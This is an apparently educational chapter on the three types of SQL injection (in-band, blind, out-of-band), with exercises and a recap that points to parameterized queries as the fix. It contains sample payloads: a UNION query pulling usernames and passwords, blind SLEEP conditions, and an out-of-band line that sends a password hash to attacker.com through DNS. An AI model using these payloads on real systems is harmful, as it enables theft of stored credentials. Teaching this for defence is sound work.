The Types of SQLi

Chapter 3
The Types of SQLi
In-band, blind, and out-of-band — classified by how the data gets back to you

All SQLi shares the root cause (Chapter 1) and the three moves (Chapter 2), but injections are classified by how the attacker gets the answer back. That channel depends on what the app shows you: query results? errors? nothing at all? The type dictates the technique — so the first thing a tester establishes is which type they're dealing with.

The Three Families

TypeHow data returnsUse when…
In-bandthrough the app's own response (results or errors)the app shows query output or DB errors
Blind (inferential)inferred from app behaviour (true/false, timing)no output and no errors are shown
Out-of-band (OOB)via a separate channel (DNS/HTTP from the DB)no in-band feedback, but the DB can make network requests
The defining question: "can I see the answer, and how?"
The whole taxonomy reduces to one question. If the app shows you data or an error → in-band (the fast, easy case). If it shows nothing distinguishing, but its behaviour changes (different page, or a delay) → blind. If it shows nothing and behaviour is identical, but the database can reach out to the network → out-of-band. Crucially, all three exfiltrate data despite the wildly different feedback — which is why "we don't show SQL errors" is not a fix (it only downgrades in-band to blind). The vulnerability is the same; only the readout differs.

In-Band SQLi (the easy case)

The data comes back through the same channel you injected — the app's normal response. Two sub-types:

Error-Based

The app displays database error messages, and the attacker crafts input that makes the DB leak data inside an error (e.g. forcing a type-conversion error that includes a queried value). Verbose errors can reveal table names, column types, query structure, and even extracted values:

// a forced error that echoes a value back in the message (conceptual) ' AND extractvalue(1, concat(0x7e, (SELECT version())))-- // → DB error: "XPATH syntax error: '~8.0.32'" ← the version leaks in the error
Verbose DB errors hand attackers a map — but hiding them is not the fix
Detailed error messages shown to users are a real information leak: they reveal the database type/version, table and column names, and query shape, dramatically accelerating an attack (and enabling error-based extraction). You absolutely should show generic errors to users and log details server-side. But understand what that does: it downgrades error-based to blind SQLi — the injection still works, the attacker just switches to inference. Hiding errors is good hygiene and slows attackers; it is not a substitute for parameterized queries (Chapter 7).

Union-Based

The most powerful in-band technique: UNION SELECT appends the results of a second query onto the original, so data from other tables appears right in the app's normal output (a product listing, search results). This is the workhorse of data extraction and gets its own chapter (Chapter 4).

// append other-table data into the visible results ' UNION SELECT username, password FROM users--

Blind SQLi (no visible output)

When the app shows no query results and no errors, you're flying blind — but the injection still works; you just can't see the answer directly. Instead you ask the database true/false questions and read the answer from the app's behaviour. Two sub-types:

  • Boolean-based — inject a condition and watch whether the page changes. ' AND 1=1-- (page loads normally) vs ' AND 1=2-- (page differs / no results). By substituting real conditions (' AND SUBSTRING(password,1,1)='a'-- ), you extract data one character at a time from the true/false signal.
  • Time-based — when even the page response is identical for true and false, you make the database pause on "true": ' AND IF(condition, SLEEP(5), 0)-- . A 5-second delay means the condition was true. You read data through the response time.

Blind extraction is slow (one bit/character per request) but completely effective — and trivially automated (Chapter 5 + sqlmap in Chapter 10). It's covered in depth next chapter-but-one.

Out-of-Band SQLi (a separate channel)

Sometimes there's no usable in-band output and no reliable behavioural/timing difference. If the database can make outbound network requests, the attacker exfiltrates data through a different channel — typically by making the DB perform a DNS or HTTP lookup to a domain they control, with the stolen data encoded in the request:

// make the DB resolve a hostname containing the stolen data (conceptual) // e.g. the password's hash becomes part of a DNS query to attacker.com ...load_file(concat('\\\\', (SELECT password ...), '.attacker.com\\x'))... // attacker watches their DNS logs: a lookup for "<data>.attacker.com" arrives

OOB is the fallback when in-band and blind are impractical (or to speed up exfiltration), and it depends on database features and network egress being available. It's less common but worth knowing exists.

Why the Type Doesn't Change the Fix

Note the through-line: error-based, union-based, boolean-blind, time-blind, and out-of-band are all the same vulnerability — an injectable query — read through different channels. Defenders sometimes try to close the channel (hide errors, normalize responses), which only forces the attacker to a different type. The fix targets the cause, not the readout: parameterized queries (Chapter 7) prevent the injection from happening at all, so there's nothing to read back through any channel.

Hands-On Exercises

Exercise 1

Classify each scenario as in-band, blind, or out-of-band, and name the sub-type: (a) the app prints "SQL error near…" with table names; (b) a search page shows extra rows from another table after a UNION; (c) the page looks identical but takes 5s longer with a SLEEP payload; (d) the DB makes a DNS lookup to your domain. Justify each with "how does the data get back?"

📄 View solution
Exercise 2

Explain why hiding database error messages is good practice but not a fix for SQLi. Describe exactly what it changes for the attacker (which type they switch to) and why the underlying vulnerability is unchanged.

📄 View solution
Exercise 3

Explain how boolean-based and time-based blind SQLi each extract a single character of a password, given no visible output. Then explain why blind SQLi is slower than union-based but equally effective, and why neither channel-closing defence stops the underlying injection.

📄 View solution

Chapter 3 Quick Reference

  • SQLi is classified by how the answer gets back — ask "can I see the data, and how?"
  • In-band — data returns via the app's own response; sub-types: error-based (data leaked in errors) & union-based (appended results)
  • Blind — no visible output; infer from behaviour: boolean-based (page changes on true/false) & time-based (SLEEP delay on true)
  • Out-of-band — exfiltrate via a separate channel (DB makes a DNS/HTTP request to attacker domain with data encoded in it)
  • Blind extracts data one character at a time — slower than union, but fully effective and automatable
  • Verbose DB errors leak schema/version/structure — show generic errors, log details — but this only downgrades to blind
  • All types are the same vulnerability read through different channels — closing a channel just forces another type
  • The fix targets the cause: parameterized queries (Chapter 7) prevent the injection entirely — nothing to read back anywhere
  • Next chapter: union-based data extraction in depth — column counts, types, and reading the schema